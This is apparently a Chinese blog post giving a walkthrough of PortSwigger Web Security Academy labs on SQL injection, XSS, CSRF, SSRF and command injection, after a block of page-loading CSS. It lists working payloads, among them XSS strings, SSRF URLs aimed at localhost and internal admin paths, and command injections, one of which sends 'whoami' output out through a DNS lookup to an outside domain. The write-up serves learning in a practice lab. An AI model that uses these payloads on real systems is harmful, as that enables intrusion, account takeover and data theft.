#loading-box .loading-left-bg, #loading-box .loading-right-bg { position: fixed; z-index: 999998; width: 50%; height: 100%; background-color: rgb(81 81 81 / 80%); transition: all 0.7s cubic-bezier(0.42, 0, 0, 1.01); backdrop-filter: blur(10px); } #loading-box .loading-right-bg { right: 0; } #loading-box > .spinner-box { position: fixed; z-index: 999999; display: flex; justify-content: center; align-items: center; width: 100%; height: 100vh; } #loading-box .spinner-box .loading-word { position: absolute; color: #ffffff; font-size: 0.95rem; transform: translateY(64px); text-align: center; } p.loading-title { font-size: 1.25rem; margin: 20px 10px 4px 10px; } #loading-box .spinner-box .configure-core { width: 100%; height: 100%; background-color: #37474f; } div.loaded div.loading-left-bg { transform: translate(-100%, 0); } div.loaded div.loading-right-bg { transform: translate(100%, 0); } div.loaded div.spinner-box { display: none !important; } .loader { position: absolute; top: calc(50% - 32px); left: calc(50% - 32px); width: 64px; height: 64px; border-radius: 50%; perspective: 800px; transition: all 0.7s cubic-bezier(0.42, 0, 0, 1.01); } .inner { position: absolute; box-sizing: border-box; width: 100%; height: 100%; border-radius: 50%; } .inner.one { left: 0%; top: 0%; animation: rotate-one 1s linear infinite; border-bottom: 3px solid #efeffa; } .inner.two { right: 0%; top: 0%; animation: rotate-two 1s linear infinite; border-right: 3px solid #efeffa; } .inner.three { right: 0%; bottom: 0%; animation: rotate-three 1s linear infinite; border-top: 3px solid #efeffa; } @keyframes rotate-one { 0% { transform: rotateX(35deg) rotateY(-45deg) rotateZ(0deg); } 100% { transform: rotateX(35deg) rotateY(-45deg) rotateZ(360deg); } } @keyframes rotate-two { 0% { transform: rotateX(50deg) rotateY(10deg) rotateZ(0deg); } 100% { transform: rotateX(50deg) rotateY(10deg) rotateZ(360deg); } } @keyframes rotate-three { 0% { transform: rotateX(35deg) rotateY(55deg) rotateZ(0deg); } 100% { transform: rotateX(35deg) rotateY(55deg) rotateZ(360deg); }

burp靶场

一.sql注入:

第一关:

经过观察发现是通过url进行传参的,它让我们找到所有的隐藏商品才能过关

经过测试我知道了他是以单引号进行的闭合,而且在我们加上注释以后页面出现了一些隐藏商品

那我们就想办法让前面的的值等于所有然后在注释掉后面,就可以显示所有隐藏商品了

第二关:

这一关需要我们想办法登陆管理员的账号,经过我的测试发现登陆框存在注入点,那我们就想办法通过万能账号进行登陆

因为我们不知道用户名和密码那我们就想办法让用户名判断始终为正确,然后注释掉后面的密码验证从而实现登陆

二.xss:

第一关:

我们直接将攻击语句写进搜索框就可以了

<script>alert(1)</script>

第二关:

和第一关类似它告诉我们漏洞在评论处那么这就是一个存储型xss漏洞,我们使用上一把的攻击语句就可以了

第三关:

这一关使用以前的攻击不管用,去查看页面代码发现我们输入的值被放置在一个属性内了

那我们就想办法闭合一下语句使我们的代码可以进行执行

"><svg onload=alert(1)>

第四关:

直接使用前一关payloads

第五关:

它提示我们漏洞在提交意见处然后我们发现url处有一个等于/那么去源码去看看,经过测试我发现我们这里是控制返回路径的而且我们可以进行输入那么开始构建payloads

javascript:alert(document.cookie)

第六关:
 

我们可以利用hashchange模块发送攻击代码

<iframe src="https://自己的IP.web-security-academy.net/#" οnlοad="this.src+='<img src=x οnerrοr=print()>'"></iframe>

第七关:

通过测试发现我们输入的值都被value包裹着

那我们就想办法闭合value

"onmouseover="alert(1)

第八关:

通过它的提示我们知道需要让用户点击我们评论的用户名进行触发操作你我们就去看看判断的用户名的源码

发现我们写网站地址的地方可以进行注入,那我们就可以利用进行攻击

第九关:

使用之前的payloads发现它对尖括号进行了过滤

那我们就修改payloads

'-alert(1)-'

三.CSRF:

第一关:

我们先使用它给我们的账号进行登陆然后抓修改邮箱的包,然后生成攻击poc

然后将我们生成的poc的url复制在浏览器中打开进行触发

第二关:

老样子先进行登陆抓包发现他要验证 token 我们试着删除 token 但是报错使用我们将请求方式改为GET请求因为GET请求不会检测 token ,然后删除 token 值生成poc

第三关:

和上一个关差不多但是不需要更改请求方式直接删除token就可以了

第四关:

这一关他给了两个账号还提示我们使用了CSRF令牌,那我们先使用抓包工具抓到carlos用户的CSRF令牌然后丢弃掉他的数据包,然后登陆wiener进行抓包替换掉CSRF令牌进行删除CSRFpok进行攻击

第五关:

将 carlos前端的csrf中的令牌复制到wiener中生成poc

第六题:

第七题:

第八题:

第九题:

四.SSRF:

第一题:

抓取查看库存的包

然后将http修改为admin就可以查询到用户

http://localhost/admin

然后将api改为del删除carlos用户

/admin/delete?username=carlos

第二关:

它提示我们在内网192.168.0.x:8080有一个后台管理系统那我们还是使用库存查询的那个api接口

通过bp进行爆破

经过爆破发现192.168.0.188:8080有反应

然后使用api删除carlos

第三关:

因为没有回显使用要使用dns的方式进行检测,抓取商品页面的包然后生成一个域名

然后将我们生成的域名填写在包中进行发送,然后回去查看是否有解析记录

第四关:

这一关和第一关差不多这是有黑名单需要对url进行编码

http://127.1/%2561dmin/delete?username=carlos

第五关:
 

这一关限制了我们只能访问本机的url,然后告诉我们可以利用重定向进行攻击,在页面一阵点网站next这里抓到了重定向

那我们在这个头部的基础上来生成我们的payloads

/product/nextProduct?path=http://192.168.0.12:8080/admin
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

然后进行攻击 

五.RCE:

第一关:

他直接提示我们库存检查存在RCE那我们就去抓个包看看

发现好像id这里可以做拼接,一开始我使用&进行拼接但是返回结果好像不对

然后我使用|进行拼接 成功得到了他的用户名

第二关:

这一关提示我们漏洞在意见反馈中而且没有回显,那我们先抓一下包

既然没有回显我们就看不到咱们的代码有没有执行这里有两种办法

1.DNS回显(DNSlog)

和SSRF第三关差不多使用bp自带的nds工具进行探测

2.使用一些命令让服务器延迟响应

||ping+-c+10+127.0.0.1||

这一关需要使用第二种方法

第三关:

它提示我们漏洞还在意见反馈中而且还需要我们将用户名写入一个txt中,然后通过图片的url进行访问,所以我们先去构建一个payloads将我们的用户名写入txt中

||whoami>/var/www/images/output.txt||

然后去查看一些图片的路径把文件换成我们保存的文件名进行查看

第四关:

使用我上一关的第一种方法使用DNSlog

第五关:

这一关需要我们通过DNS外带了进行命令执行,老样子我们去抓意见提交的包然后在Email中插入payloads

||nslookup+`whoami`.DNSlog域名||

然后提交包我们就可以在bp自带的DNSlog中看到服务器当前的用户名称了

posted @ 2024-09-18 14:55  生命予夺  阅读(3)  评论(0)    收藏  举报  来源